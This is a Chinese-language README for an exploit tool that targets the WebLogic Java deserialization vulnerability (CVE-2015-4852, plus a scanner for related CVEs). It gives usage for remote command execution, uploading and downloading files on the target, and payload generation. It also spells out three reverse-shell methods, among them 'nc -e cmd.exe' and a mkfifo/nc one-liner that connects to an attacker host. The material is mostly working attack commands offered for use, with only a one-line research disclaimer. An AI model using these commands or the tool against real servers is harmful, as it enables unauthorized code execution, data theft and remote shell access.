weblogic unserialize exploit
java反序列化漏洞（CVE-2015-4852）的weblogic exploit命令回显exp
1.依赖组件
- python 2.7
- java
2. 程序说明
- exploit方法来源于Freebuf的”Java反序列化漏洞之weblogic本地利用实现篇”，基于rebeyond大牛的研究和反编译WebLogic_EXP.jar实现的。
- 与rebeyond的方法相比，只提取了WebLogic_EXP.jar中用到的少数几个java class，使用python脚本来实现exploit。
- 根据网上和自己测试的weblogic反序列化漏洞，完善了CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628和CVE-2018-2893的批量检测脚本（weblogic_check_vuls.py）（2018.7.20）
3.使用说明
- python exp:
weblogic.py [-h] -u HOST -p PORT -os {win,linux} -t {verify,exploit}
[--silent]
optional arguments:
-h, --help show this help message and exit
-u HOST, --host HOST weblogic host
-p PORT, --port PORT host port
-os {win,linux}, --os_type {win,linux}
os type
-t {verify,exploit,reverse_shell}, --exp_type {verify,exploit,reverse_shell}
exploit type; verify to check the vul,the exploit mode
can run cmd and get the result
reverse_shell can get shell
--silent don't show the verbose message
verify :只执行一次whoami命令，验证是否漏洞存在
exploit:远程命令执行模式，运行putfile、getfile和命令远程运行和回显
reverse_shell:反弹shell（需要设定--LHOS和--LPORT参数）
--LHOST LHOST reverse shell to the host ip
--LPORT LPORT reverse shell to host port
exploit模式下可以进行文件的下传和下载：
上传文件：putfile [localfile] [remotefile]
下载文件：getfile [remotefile] [localfile]
- 远程执行命令是通过java的RMI来实现的
java -jar shellApp.jar [host] [port] [os] [cmd]
OS:win|linux
CMD: putfile [localfile] [remotefile]
getfile [remotefile] [localfile]
[windows or linux cmd]- 程序在windows/linux/mac下测试通过，weblogic版本为10.3.6。
4.payload_bin说明
-
payload_bin下面的各种payload是用于向weblogic通过t3协议发送的反序列化内容，由通过执行genPayload.class产生的，执行命令为：
java -jar genPayload.jar [OS] [Payload_Type] OS:win|linux Payload_Type:upload_inst|inst|upload_uninst|uninst|delete|upload_reverse|reverse
5.反弹shell
- 方法一：
1、在本机上监听，等待shell反弹
nc -l 8080
2、命令行反弹shell
./weblogic.py -u 192.168.56.104 -p 7001 -os win -t reverse_shell --LHOST 192.168.56.101 --LPORT 8080
--LHOST与--LPORT分别是要反弹获得shell的主机地址和端口
本方法是采用t3协议直接将java程序发包到服务器上后直接反弹shell，是最方便的一种。感谢Rstar提供的实现，我稍做了修改以匹配exp的实现。- 方法二：
1、用weblogic.py exploit到weblogic服务器
2、上传payload_bin目录下的的nc.exe（windows主机）;或修改reverse_shell.py的LHOST和LPORT（linux主机）后上传到服务器。
exploit>putfile payload_bin/nc.exe c:\windows\temp\nc.exe (windows主机）
exploit>putfile payload_bin/reverse_shell.py /tmp/rs.py (linux主机)
3、在本机上监听，等待shell反弹
nc -l 8080
4、通过exploit执行远程命令反弹shell
exploit>c:\windows\temp\nc.exe -e cmd.exe remote_ip 8080 (windows主机）
exploit>python /tmp/rs.py (linux主机)- 方法三：（linux）
1、在本机上监听，等待shell反弹
nc -l 8080
2、通过exploit执行远程命令反弹shell
exploit>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc remote_ip 8080 >/tmp/f
6.weblogic反序列化漏洞批量检测脚本
usage: weblogic_check_vuls.py [-h] [-f FILE] [-t TARGET] [-p PORT]
weblogic scanner
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE read target ip from file
-t TARGET, --target TARGET
target ip
-p PORT, --port PORT server port,default is 7001
You must set target ip or file!
7.其它
- 本程序只用于技术研究和个人使用，来源于网络、分享于网络，欢迎各位大牛继续完善